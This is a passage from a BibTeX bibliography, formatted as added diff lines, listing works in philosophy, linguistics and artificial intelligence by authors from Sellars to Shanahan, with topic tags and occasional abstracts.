} + +@article{ sellars:1964b, + author = {Wilfrid Sellars}, + title = {Intentionality}, + journal = {The Journal of Philosophy}, + year = {1964}, + volume = {62}, + number = {24}, + pages = {665--665}, + topic = {foundations-of-semantics;intensionality;} + } + +@article{ sellars:1970a, + author = {Wilfrid Sellars}, + title = {Reflections on Contrary-to-Duty Inperatives}, + journal = {No\^us}, + year = {1970}, + volume = {4}, + number = {1}, + pages = {303--344}, + topic = {deonticlogic;prima-facie-obligation;} + } + +@incollection{ sellars:1978a, + author = {Wilfrid Sellars}, + title = {Hochberg on Mapping, Meaning, and Metaphysics}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {349--359}, + address = {Minneapolis}, + topic = {metaphysics;philosophical-ontology;nominalism;} + } + +@book{ sells-jones_c:1983a, + editor = {Peter Sells and C. Jones}, + title = {{NELS 13}: Proceedings of the Thirteenth Conference of the + {N}orth {E}ast {L}inguistic {S}ociety}, + publisher = {GLSA Publications}, + year = {1983}, + address = {Amherst, Massachusetts}, + note = {URL FOR GLSA Publications: + http://www.umass.edu/linguist/glsa-pubs.html.}, + topic = {linguistics-proceedings;nl-syntax;nl-semantics;} + } + +@book{ sells:1985a, + author = {Peter Sells}, + title = {Lectures on Contemporary Syntactic Theories}, + publisher = {Center for the Study of Language and Information}, + year = {1985}, + address = {Stanford, California}, + topic = {nl-syntax;} , + } + +@techreport{ sells:1985b, + author = {Peter Sells}, + title = {Restrictive and Non-Restrictive Modification}, + institution = {Center for the Study of Language and Information, + Stanford University}, + number = {CSLI--85--28}, + year = {1985}, + address = {Stanford, California}, + topic = {nl-semantics;discourse-representation-theory; + nonrestrictive-relative-clauses;pragmatics;} + } + +@article{ sells:1987a, + author = {Peter Sells}, + title = {Binding Resumptive Pronouns}, + journal = {Linguistics and Philosophy}, + year = {1987}, + volume = {10}, + number = {3}, + pages = {261--298}, + topic = {resumptive-pronouns;syntactic-binding;} + } + +@article{ sells:1991a, + author = {Peter Sells}, + title = {Disjoint Reference into {NP}}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + number = {2}, + pages = {151--169}, + topic = {disjoint-reference;} + } + +@incollection{ selman-hirst:1987a, + author = {Bart Selman and Graeme Hirst}, + title = {Parsing as an Energy Minimization Problem}, + booktitle = {Genetic Algorithms and Simulated Annealing}, + publisher = {Morgan Kaufmann Publishers}, + year = {1987}, + editor = {Lawrence D. Davis}, + address = {Los Altos, California}, + missinginfo = {pages}, + topic = {parsing-algorithms;parallel-processing;simulated-annealing;} + } + +@incollection{ selman-kautz:1989a, + author = {Bart Selman and Henry Kautz}, + title = {The Complexity of Model-Preference Default Theories}, + booktitle = {Non-Monotonic Reasoning}, + publisher = {Springer-Verlag}, + year = {1989}, + editor = {Michael Reinfrank and Johan de Kleer and Matthew L. Ginsberg}, + address = {Berlin}, + missinginfo = {pages}, + topic = {complexity-in-AI;nonmonotonic-reasoning; + nonmonotonic-reasoning-algorithms;} + } + +@inproceedings{ selman-levesque:1989a, + author = {Bart Selman and Hector J. Levesque}, + title = {The Tractability of Path-Based Inheritance}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {1140--1145}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + xref = {Journal Publication: selman-levesque:1993a.}, + topic = {kr;inheritance-theory;kr-complexity-analysis;kr-course;} + } + +@phdthesis{ selman:1990a, + author = {Bart Selman}, + title = {Tractable Defeasible Reasoning}, + school = {Computer Science Department, University of Toronto}, + address = {Toronto}, + year = {1990}, + topic = {kr;inheritance-theory;tractable-logics;kr-complexity-analysis;} + } + +@unpublished{ selman:1990b, + author = {Bart Selman}, + title = {Sketch Map Interpretation: A Complexity Analysis}, + year = {1990}, + note = {Unpublished manuscript, University of Toronto.}, + topic = {visual-reasoning;complexity-in-AI;} + } + +@unpublished{ selman:1990c, + author = {Bart Selman}, + title = {Computing Explanations}, + year = {1990}, + note = {Presented at {AAAI} Spring Symposium on Automated Deduction}, + topic = {truth-maintenance;} + } + +@article{ selman-kautz:1990a, + author = {Bart Selman and Henry A. Kautz}, + title = {Model-Preference Default Theories}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {45}, + number = {3}, + pages = {287--322}, + acontentnote = {Abstract: + Most formal theories of default inference have very poor + computational properties, and are easily shown to be + intractable, or worse, undecidable. We are therefore + investigating limited but efficiently computable theories of + default reasoning. This paper defines systems of propositional + model-preference defaults, which provide a model-theoretic + account of default inference with exceptions. + The most general system of model-preference defaults is + decidable but still intractable. Inspired by the very good + (linear) complexity of propositional Horn theories, we consider + systems of Horn defaults. Surprisingly, finding a most + preferred model in even this very limited system is shown to be + NP-hard. Tractability can be achieved in two ways: by + eliminating the ``specificity ordering'' among default rules and + by restricting our attention to systems of acyclic Horn + defaults. These acyclic theories can encode acyclic defeasible + inheritance hiearchies, but are more general. } , + topic = {nonmonotonic-reasoning;inheritance-theory;model-preference;} + } + +@inproceedings{ selman-levesque:1990a, + author = {Bart Selman and Hector J. Levesque}, + title = {Abductive and Default Reasoning: A Computational Core}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Thomas Dietterich and William Swartout}, + pages = {343--348}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {abduction;default-logic;nonmonotonic-reasoning;} + } + +@inproceedings{ selman-kautz:1991a, + author = {Bart Selman and Henry Kautz}, + title = {Knowledge Compilation Using {H}orn Clause + Approximations}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1991}, + editor = {Thomas Dean and Kathy McKeown}, + pages = {904--909}, + organization = {American Association for Artificial Intelligence}, + publisher = {MIT Press}, + address = {Cambridge, Massachusetts}, + topic = {knowledge-acquisition;approximation;} + } + +@inproceedings{ selman-etal:1992a, + author = {Bart Selman and Hector J. Levesque and D. Mitchell}, + title = {A New Method for Solving Hard Satisfiability Problems}, + booktitle = {Proceedings of the Tenth National Conference on + Artificial Intelligence}, + year = {1992}, + editor = {Paul Rosenbloom and Peter Szolovits}, + pages = {440--446}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + missinginfo = {A's 1st name}, + topic = {experiments-on-theorem-proving-algs;} + } + +@article{ selman-levesque:1993a, + author = {Bart Selman and Hector J. Levesque}, + title = {The Complexity of Path-Based Defeasible Inheritance}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {62}, + number = {2}, + pages = {303--339}, + xref = {Conference Publication: selman-levesque:1989a.}, + topic = {kr;inheritance-theory;kr-complexity-analysis;kr-course;} + } + +@incollection{ selman:1994a, + author = {Bart Selman}, + title = {Near-Optimal Plans, Tractability, and Reactivity}, + booktitle = {{KR}'94: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Jon Doyle and Erik Sandewall and Pietro Torasso}, + pages = {521--529}, + address = {San Francisco, California}, + topic = {kr;planning;computational-complexity;kr-course;} + } + +@inproceedings{ selman:1995a, + author = {Bart Selman}, + title = {Stochastic Search and Phase Transitions: {AI} Meets Physics}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {998--1002}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {complexity-in-AI;stochastic-processes;} + } + +@article{ selman-etal:1996a, + author = {Bart Selman and David G. Mitchell and Hector J. Levesque}, + title = {Generating Hard Satisfiability Problems}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {81}, + number = {1--2}, + pages = {17--29}, + topic = {search;experiments-on-theorem-proving-algs; + computational-phase-transitions;} + } + +@article{ selman-kirkpatrick:1996a, + author = {Bart Selman and Scott Kirkpatrick}, + title = {Critical Behavior in the Computational Cost of + Satisfiability Testing}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {81}, + number = {1--2}, + pages = {273--295}, + topic = {search;experiments-on-theorem-proving-algs; + computational-phase-transitions;} + } + +@article{ selman-levesque:1996a, + author = {Bart Selman and Hector J. Levesque}, + title = {Support Set Selection for Abductive and Default Reasoning}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {82}, + number = {1--2}, + pages = {259--272}, + topic = {abduction;default-logic;truth-maintenance;} + } + +@inproceedings{ selman:1999a, + author = {Bart Selman}, + title = {Blackbox: A {SAT} Technology Planning System (Abstract)}, + booktitle = {Workshop on Logic-Based Artificial Intelligence, + Washington, DC, June 14--16, 1999}, + year = {1999}, + editor = {Jack Minker}, + publisher = {Computer Science Department, University of Maryland}, + address = {College Park, Maryland}, + topic = {model-construction;planning-algorithms;} + } + +@incollection{ sem:1984a, + author = {Helle Frisak Sem}, + title = {Quantifier Scope and Coreferentiality}, + booktitle = {Report of an {O}slo Seminar in Logic and Linguistics}, + publisher = {Institute of Mathematics, University of Oslo}, + year = {1984}, + editor = {Jens Erik Fenstad and Jan Tore Langholm and Jan Tore L{\o}nning + and Helle Frisak Sem}, + pages = {IV.1--IV.82}, + address = {Oslo}, + topic = {quantifier-scope;} + } + +@incollection{ semeraro-etal:1994a, + author = {Giovanni Semeraro and Floriana Esposito and Donato Malerba + and Clifford Brunk and Michael J. Pazzani}, + title = {Avoiding Non-Termination when Learning Logical Programs: A + Case Study with FOIL and FOCL}, + booktitle = {Logic Programming Synthesis and Transformation, + Meta-Programming in Logic: Fourth International Workshops, + {LOBSTR}'94 and {META}'94, Pisa, Italy}, + publisher = {Springer-Verlag}, + year = {1994}, + editor = {Laurent Fribourg and Franco Turini}, + pages = {183--198}, + address = {Berlin}, + topic = {logic-program-synthesis;} + } + +@article{ sen_a:1977a, + author = {Amartya Sen}, + title = {Social Choice Theory: A Re-Examination}, + journal = {Econometrica}, + year = {1977}, + volume = {45}, + pages = {348--384}, + missinginfo = {number}, + topic = {social-choice-theory;} + } + +@article{ sen_a:1985a, + author = {Amartya Sen}, + title = {Well-Being, Agency, and Freedom}, + journal = {The Journal of Philosophy}, + year = {1985}, + volume = {82}, + number = {4}, + pages = {203--221}, + topic = {freedom;action;} + } + +@article{ sen_a:2000a, + author = {Amarta Sen}, + title = {Consequential Evaluation and Practical Reason}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {9}, + pages = {477--502}, + topic = {consequentialism;} + } + +@article{ sen_ak-bagchi:1996a, + author = {Anup K. Sen and Amitava Bagchi}, + title = {Graph Search Methods for Non-Order-Preserving Evaluation + Functions: Applications to Job Sequencing Problems}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {86}, + number = {1}, + pages = {43--73}, + topic = {search;scheduling;graph-based-reasoning;} + } + +@inproceedings{ sendra-winkler:1998a, + author = {J. Rafael Sendra and Franz Winkler}, + title = {Real Parametrization of Algebraic Curves}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {284--295}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {automated-algebra;} + } + +@inproceedings{ seneff-polifroni:2000a, + author = {Stephanie Seneff and Joseph Polifroni}, + title = {Dialogue Management in the {M}ercury Flight Reservation + System}, + booktitle = {{ANLP/NAACL} Workshop on Conversational Systems}, + year = {2000}, + editor = {Candace Sidner et al.}, + pages = {11--16}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;} + } + +@article{ seo-etal:2001a, + author = {Masahiro Seo and Hiroyuki Iida and Jos W.H.M. Uiterwijk}, + title = {The $PN^*$-Search Algorithm: Application to tsume-shogi}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {129}, + number = {1--2}, + pages = {253--277}, + topic = {game-playing;search;iterative-deepening;} + } + +@inproceedings{ serafini-ghidini:1997a, + author = {Luciano Serafini and Chiara Ghidini}, + title = {Context Based Semantics for Information Integration}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Context in Knowledge Representation and Natural Language}, + year = {1997}, + editor = {Sasa Buva\v{c} and {\L}ucia Iwa\'nska}, + pages = {152--160}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {context;knowledge-integration;logic-of-context;} + } + +@inproceedings{ serafini-ghidini:1997b, + author = {Luciano Serafini and Chiara Ghidini}, + title = {Context Based Semantics for Federated Databases}, + year = {1997}, + booktitle = {Proceedings of the 1st International and + Interdisciplinary Conference on Modeling and Using + Context (CONTEXT-97)}, + address = {Rio de Janeiro, Brazil}, + pages = {33--45}, + note = {Also IRST-Technical Report 9609-02, IRST, Trento, Italy}, + missinginfo = {A's 1st name}, + topic = {context;logic-of-context;} + } + +@incollection{ serafini-ghidini:2000a, + author = {Luciano Serafini and Chiara Ghidini}, + title = {Context-Based Semantics for Information Integration}, + booktitle = {Formal Aspects of Context}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Pierre Bonzon and Marcos Cavalcanti and Rolf Nossum}, + pages = {175--192}, + address = {Dordrecht}, + topic = {context;knowledge-integration;federated-databases;} + } + +@incollection{ serafini-dona:2002a, + author = {Luciano Serafini and Antonia Don\'a}, + title = {Updating Contexts}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {251--262}, + address = {San Francisco, California}, + topic = {kr;belief-revision;context;} + } + +@article{ serafini-giunchiglia:2002a, + author = {Luciano Serafini and Fausto Giunchiglia}, + title = {{ML} Systtems: A Proof Theory for Substructural Logics}, + journal = {Journal of Logic, Language, and Information}, + year = {2002}, + volume = {11}, + number = {4}, + pages = {471--518}, + topic = {context;logic-of-context;} + } + +@incollection{ serebriannikov:1994a, + author = {O.F. Serebriannikov}, + title = {Gentzen's {H}auptsatz for Modal Logic with Quantifiers}, + booktitle = {Intensional Logic: Theory and Applications}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + editor = {Ilkka Niiniluoto and Esa Saarinen}, + pages = {79--88}, + address = {Helsinki}, + topic = {proof-theory;quantifying-in-modality;modal-logic;} + } + +@article{ sergot-etal:1986a, + author = {Marek Sergot and F. Sadri and Robert A. Kowalski and + F. Kriwaczek and P. Hammond and H.T. Cory}, + title = {The {B}ritish Nationality Act as a Logic Program}, + journal = {Communications of the {ACM}}, + year = {1986}, + volume = {29}, + number = {5}, + pages = {370--386}, + topic = {legai-AI;logic-programming;} + } + +@incollection{ sergot:1998a, + author = {Marek Sergot}, + title = {Normative Positions}, + booktitle = {Norms, Logics and Information Systems. New Studies in + Deontic Logic and Computer Science}, + publisher = {IOS Press}, + year = {1998}, + editor = {Henry Prakken and Paul McNamara}, + pages = {289--310}, + address = {Amsterdam}, + topic = {deontic-logic;} + } + +@article{ sernadas-etal:1997a, + author = {Am\'ilcar Sernadas and Cristina Sernadas and + Carlos Caliero}, + title = {Synchonization of Logics}, + journal = {Studia Logica}, + year = {1997}, + volume = {59}, + number = {2}, + pages = {217--247}, + topic = {combining-logics;temporal-logic;} + } + +@article{ sernadas:2000a, + author = {Am\'ilcar Sernadas}, + title = {Review of {\em Fibring Logics}, + by {D}ov {M}. {G}abbay}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {9}, + number = {4}, + pages = {511--513}, + xref = {Review of gabbay:1999a.}, + topic = {fibred-semantics;modal-logic;} + } + +@article{ sesonke:1965a, + author = {Alexander Sesonke}, + title = {Performatives}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {12}, + pages = {459--408}, + topic = {speech-acts;} + } + +@article{ sesonske:1965a, + author = {Alexander Sesonske}, + title = {Performatives}, + journal = {Journal of Philosophy}, + year = {1965}, + volume = {62}, + pages = {459--468}, + missinginfo = {number}, + topic = {speech-acts;pragmatics;} + } + +@incollection{ seto:1998a, + author = {Ken-Ichi Seto}, + title = {On Non-Echoic Irony}, + booktitle = {Relevance Theory: Applications and Implications}, + publisher = {John Benjamins Publishing Co.}, + year = {1998}, + editor = {Robyn Carston and Seiji Uchida}, + pages = {239--255}, + address = {Amsterdam}, + topic = {relevance-theory;irony;} + } + +@incollection{ seuren:1973a, + author = {Pieter A.M. Seuren}, + title = {The Comparative}, + booktitle = {Generative Grammar in {E}urope}, + publisher = {D. Reidel Publishing Co.}, + year = {1973}, + editor = {Ferenc Kiefer and Nicolas Ruwet}, + pages = {528--564}, + address = {Dordrecht}, + topic = {comparative-constructions;nl-semantics;} + } + +@incollection{ seuren:1984a, + author = {Pieter A.M. Seuren}, + title = {Logic and Truth-Values in Languages}, + booktitle = {Varieties of Formal Semantics}, + publisher = {Foris Publications}, + year = {1984}, + editor = {Fred Landman and Frank Veltman}, + pages = {343--364}, + address = {Dordrecht}, + topic = {truth-value-gaps;presupposition;} + } + +@book{ seuren:1985a, + editor = {Pieter A.M. Seuren}, + title = {Discourse Semantics}, + publisher = {Blackwell Publishers}, + year = {1985}, + address = {Oxford}, + topic = {discourse;pragmatics;} + } + +@incollection{ seuren:1985b, + author = {Pieter A.M. Seuren}, + title = {Anaphora Resolution}, + booktitle = {Reasoning and Discourse Processes}, + publisher = {Academic Press}, + year = {1985}, + editor = {Terry Myers and Keith Brown and Brendan McGonigle}, + pages = {187--207}, + address = {New York}, + topic = {anaphora-resolution;} + } + +@article{ seuren:1987a, + author = {Pieter A.M. Seuren}, + title = {How Relevant?}, + journal = {Behavioral and Brain Sciences}, + year = {1987}, + volume = {10}, + pages = {731--732}, + missinginfo = {number}, + topic = {relevance;implicature;} + } + +@incollection{ seuren:1991a, + author = {Pieter A.M. Seuren}, + title = {Pr\"asuppositionen}, + booktitle = {Semantik/Semantics: an International Handbook + of Contemporary Research}, + publisher = {Walter de Gruyter}, + year = {1991}, + pages = {286--318}, + editor = {Dieter Wunderlich and Arnim {von Stechow}}, + address = {Berlin}, + topic = {implicature;pragmatics;} + } + +@article{ seuren:1996a, + author = {Pieter A.M. Seuren}, + title = {Presupposition and Negation}, + journal = {Journal of Semantics}, + year = {1996}, + volume = {6}, + pages = {175--226}, + missinginfo = {number}, + topic = {pragmatics;presupposition;negation;} + } + +@book{ seuren:1996b, + author = {Pieter A.M. Seuren}, + title = {Semantic Syntax}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + topic = {nl-syntax;nl-semantics;} + } + +@article{ seuren-etal:2001a, + author = {Pieter A. M. Seuren and Venanzio Capretta and Herman + Geuvers}, + title = {The Logic and Mathematics of Occasion Sentences}, + journal = {Linguistics and Philosophy}, + year = {2001}, + volume = {24}, + number = {5}, + pages = {531--595}, + topic = {context;indexicals;foundations-of-semantics;} + } + +@incollection{ seville-ramsay:1999a, + author = {Helen Seville and Allan Ramsay}, + title = {Reference-Based Discourse + Structure for Reference Resolution}, + booktitle = {The Relation of Discourse/Dialogue Structure and + Reference}, + publisher = {Association for Computational Linguistics}, + year = {1999}, + editor = {Dan Cristea and Nancy Ide and Daniel Marcu}, + pages = {90--99}, + address = {New Brunswick, New Jersey}, + topic = {discourse-structure;reference-resolution;} + } + +@book{ sextusempiricus:1933a, + author = {Sextus Empiricus}, + title = {Writings of {S}extus {E}mpiricus}, + publisher = {Loeb Classical Library}, + year = {1933}, + address = {Cambridge, Massachusetts}, + note = {R.G. Bury, translator. Published 1933--1953 in + four volumes.}, + topic = {ancient-philosophy;skepticism;} + } + +@article{ sgall:1972a, + author = {Petr Sgall}, + title = {Fillmore's Mysteries and topic vs. Comment.}, + journal = {Journal of Linguistics}, + year = {1972}, + volume = {8}, + pages = {283--288}, + topic = {s-topic;pragmatics;} +} + +@book{ sgall-etal:1973a, + author = {Petr Sgall and Eva Haji\v{c}ov\'a and Eva Bene=9Aov}, + title = {Topic, Focus and Generative Semantics}, + publisher = {Scriptor Verlag}, + year = {1973}, + address = {Kronberg}, + ISBN = {3589000341}, + topic = {s-topic;sentence-focus;} + } + +@incollection{ sgall:1975a, + author = {Petr Sgall}, + title = {Conditions on the Use of Sentences and a Semantic + Representation of Topic and Focus}, + booktitle = {Formal Semantics of Natural Language}, + publisher = {Cambridge University Press}, + year = {1975}, + editor = {Edward L. Keenan}, + pages = {297--312}, + address = {Cambridge, England}, + topic = {sentence-focus;s-topic;pragmatics;} + } + +@article{ sgall:1975b, + author = {Peter Sgall}, + title = {Topic and Focus in Transformational Grammar}, + journal = {Papers in Linguistics}, + year = {1975}, + volume = {8}, + pages = {1--2}, + missinginfo = {number}, + topic = {s-topic;sentence-focus;pragmatics;} + } + +@article{ sgall:1977a, + author = {Peter Sgall}, + title = {Sign Meaning, Cognitive Content, and Pragmatics}, + journal = {Journal of Pragmatics}, + year = {1977}, + volume = {1}, + pages = {269--282}, + topic = {pragmatics;foundations-of-semantics;} + } + +@article{ sgall:1980a, + author = {Peter Sgall}, + title = {Case and Meaning}, + journal = {Journal of Pragmatics}, + year = {1980}, + volume = {4}, + pages = {525--536}, + topic = {thematic-roles;} + } + +@book{ sgall:1984a, + editor = {Petr Sgall}, + title = {Contributions to Functional Syntax, Semantics, and + Language Comprehension}, + publisher = {Academia}, + year = {1984}, + address = {Prague}, + topic = {nl-semantics;} + } + +@book{ sgall-etal:1986a, + author = {Petr Sgall and Eva Haji\c{o}v\'a and J. Panevova}, + title = {The Meaning of the Sentence in its Semantic and + Pragmatic Aspects}, + publisher = {D. Reidel Publishing Co.}, + year = {1986}, + address = {Dordrecht}, + ISBN = {9027718385}, + topic = {nl-semantics;pragmatics;sentence-focus;} + } + +@incollection{ sgall-hajicova:1992a, + author = {Petr Sgall and Eva Haji\v{c}pv\'a}, + title = {Linguistic Meaning and Semantic Interpretation}, + booktitle = {Current Issues in Linguistic Theory}, + publisher = {John Benjamins Publishing Co.}, + year = {1992}, + editor = {Maxim Stamenov}, + pages = {299--310}, + address = {Amsterdam}, + topic = {nl-semantics;} + } + +@incollection{ sgall:1994a, + author = {Petr Sgall}, + title = {Dependency-Based Grammatical Information + in the Lexicon}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {339--344}, + address = {Pisa and Dordrecht}, + topic = {computational-lexicography;} + } + +@article{ sgall:2001a, + author = {Petr Sgall}, + title = {Functional Generative Description, Word Order and Focus}, + journal = {Theoretical Linguistics}, + year = {2001}, + volume = {27}, + number = {1}, + pages = {3--28}, + topic = {word-order;s-focus;} + } + +@article{ sgouros:1999a, + author = {Nikitas M. Sgouros}, + title = {Dynamic Generation, Management, and Resolution + of Interactive Plots}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {107}, + number = {1}, + pages = {29--62}, + topic = {interactive-fiction;plot-management;} + } + +@article{ shachter_rd:1986a1, + author = {Ross D. Shachter}, + title = {Evaluating Influence Diagrams}, + journal = {Operations Research}, + year = {1986}, + volume = {34}, + number = {6}, + pages = {871--872}, + xref = {Reprinted in shafer-pearl:1990a; see shachter:1986a2.}, + topic = {causal-networks;influence-diagrams;reasoning-with-diagrams; + decision-analysis;} + } + +@incollection{ shachter_rd:1986a2, + author = {Ross D. Shachter}, + title = {Evaluating Influence Diagrams}, + booktitle = {Readings in Uncertain Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1990}, + editor = {Glenn Shafer and Judea Pearl}, + pages = {79--90}, + address = {San Mateo, California}, + xref = {Reprinted. Original Publication is shachter:1986a1.}, + topic = {causal-networks;influence-diagrams;reasoning-with-diagrams; + decision-analysis;} + } + +@inproceedings{ shachter_rd-etal:1990a, + author = {Ross D. Shachter and Brendan A. del Favero and + Bruce D'Ambrosio}, + title = {Symbolic Probabilistic Inference in Belief Networks}, + booktitle = {Proceedings of the Eighth National Conference on + Artificial Intelligence}, + year = {1990}, + editor = {Thomas Dietterich and William Swartout}, + pages = {126--131}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, CA}, + topic = {probabilistic-reasoning;Bayesian-networks;} + } + +@book{ shachter_rd-etal:1990b, + editor = {Ross D. Shachter and T.S. Levitt and L.N. Kanal + and J.F. Lemmer}, + title = {Uncertainty in Artificial Intelligence, Volume 4}, + publisher = {North-Holland Publishing Co.}, + year = {1990}, + address = {Amsterdam}, + missinginfo = {E's 1st name.}, + topic = {reasoning-about-uncertainty;} + } + +@book{ shackel:1981a, + editor = {Brian Shackel}, + title = {Man-Computer Interaction: Human Factors Aspects of + Computers \& People}, + publisher = {Sijtoff \& Noordhoff}, + year = {1981}, + address = {Alphen ann den Rijn}, + ISBN = {9028609105}, + topic = {HCI;} + } + +@book{ shackel:1985a, + editor = {Brian Shackel}, + title = {Human-Computer Interaction: {IFIP} Conference on + Human-Computer Interaction}, + publisher = {North-Holland Publishing Co.}, + year = {1985}, + address = {Amsterdam}, + ISBN = {0444877738}, + topic = {HCI;} + } + +@article{ shafer_g:1983a, + author = {Glenn Shafer}, + title = {A Subjective Interpretation of Conditional Probability}, + journal = {Journal of Philosophical Logic}, + year = {1983}, + volume = {12}, + number = {4}, + pages = {453--466}, + topic = {probability-kinematics;} + } + +@book{ shafer_g-pearl:1990a, + editor = {Glenn Shafer and Judea Pearl}, + title = {Readings in Uncertain Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1990}, + address = {San Mateo, California}, + topic = {uncertainty-in-AI;} + } + +@book{ shafer_g:1997a, + author = {Glen Shafer}, + title = {The Art of Causal Conjecture}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + topic = {causality;statistical-inference;probabilistic-reasoning; + foundations-of-probability;decision-trees;} + } + +@incollection{ shafer_g:1998a, + author = {Glenn Shafer}, + title = {Causal Logic}, + booktitle = {{ECAI}98, Thirteenth European Conference on + Artificial Intelligence}, + publisher = {John Wiley and Sons}, + year = {1998}, + editor = {Henri Prade}, + pages = {711--718}, + address = {Chichester}, + topic = {causality;} + } + +@inproceedings{ shafer_r:1995a, + author = {Robin Shafer}, + title = {The {SLP}/{ILP} Distinction in {\em have}-Predication}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {292--209}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;i-level/s-level;"have"-constructions;} + } + +@article{ shaffer:2001a, + author = {Jonathan Shaffer}, + title = {Causes as Probability Raisers of Processes}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {98}, + number = {2}, + pages = {75--92}, + topic = {causality;probability;} + } + +@article{ shafir-etal:1993a, + author = {E. Shafir and I. Simonson and A. Tversky}, + title = {Reason-Based Choice}, + journal = {Cognition}, + year = {1993}, + volume = {49}, + pages = {11--36}, + missinginfo = {A's 1st name, number}, + topic = {cognitive-psychology;decision-making;rationality-and-cognition;} + } + +@article{ shahar:1997a, + author = {Yuval Shahar}, + title = {A Framework for Knowledge-Based Temporal Abstraction}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {90}, + number = {1--2}, + pages = {79--133}, + topic = {temporal-reasoning;abstraction;krcourse;} + } + +@article{ shalkowski:1994a, + author = {Scott A. Shalkowski}, + title = {The Ontological Ground of the Alethic Modality}, + journal = {The Philosophical Review}, + year = {1994}, + volume = {103}, + number = {4}, + pages = {669--688}, + topic = {modality;} + } + +@book{ shalom:1998a, + author = {Shalom Lappin}, + title = {Semantic Types For Natural Language: An Inaugural Lecture + Delivered on 6 February 1997}, + publisher = {School of Oriental and African Studies, University + of London}, + year = {1998}, + address = {London}, + ISBN = {0728602792}, + topic = {nl-semantics;nl-semantic-types;} + } + +@incollection{ shanahan:1988a, + author = {Murray Shanahan}, + title = {Incrementality and Logic Programming}, + booktitle = {Reason Maintenance Systems and Their Applications}, + publisher = {Ellis Horwood, Ltd.}, + year = {1988}, + editor = {Barbara Smith and Gerald Kelleher}, + pages = {21--34}, + address = {Chichester}, + topic = {truth-maintenance;logic-programming;} + } + +@inproceedings{ shanahan:1993a, + author = {Murray Shanahan}, + title = {Explanation in the Situation Calculus}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {160--165}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {situation-calculus;abduction;explanation;action-narratives; + temporal-reasoning;} + } + +@article{ shanahan:1995a, + author = {Murray Shanahan}, + title = {A Circumscriptive Calculus of Events}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {77}, + number = {2}, + pages = {251--284}, + topic = {events;concurrence;frame-problem;temporal-reasoning;} + } + +@article{ shanahan:1995b, + author = {Murray Shanahan}, + title = {Default Reasoning about Spatial Occupancy}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {74}, + number = {1}, + pages = {147--163}, + acontentnote = {Abstract: + This paper describes a default reasoning problem, analogous to + the frame problem, that arises when an attempt is made to + construct a logic-based calculus for reasoning about the + movement of objects in a real-valued co-ordinate system. A + number of potential solutions to this problem are examined. + Particular attention is given to the interaction between the + default reasoning required by these solutions and that required + to overcome the frame problem, especially when the latter + demands an ``existence of situations'' axiom. } , + topic = {nonmonotonic-reasoning;spatial-reasoning;frame-problem;} + } + +@unpublished{ shanahan:1996a, + author = {Murray Shanahan}, + title = {A Logical Account of the Common Sense 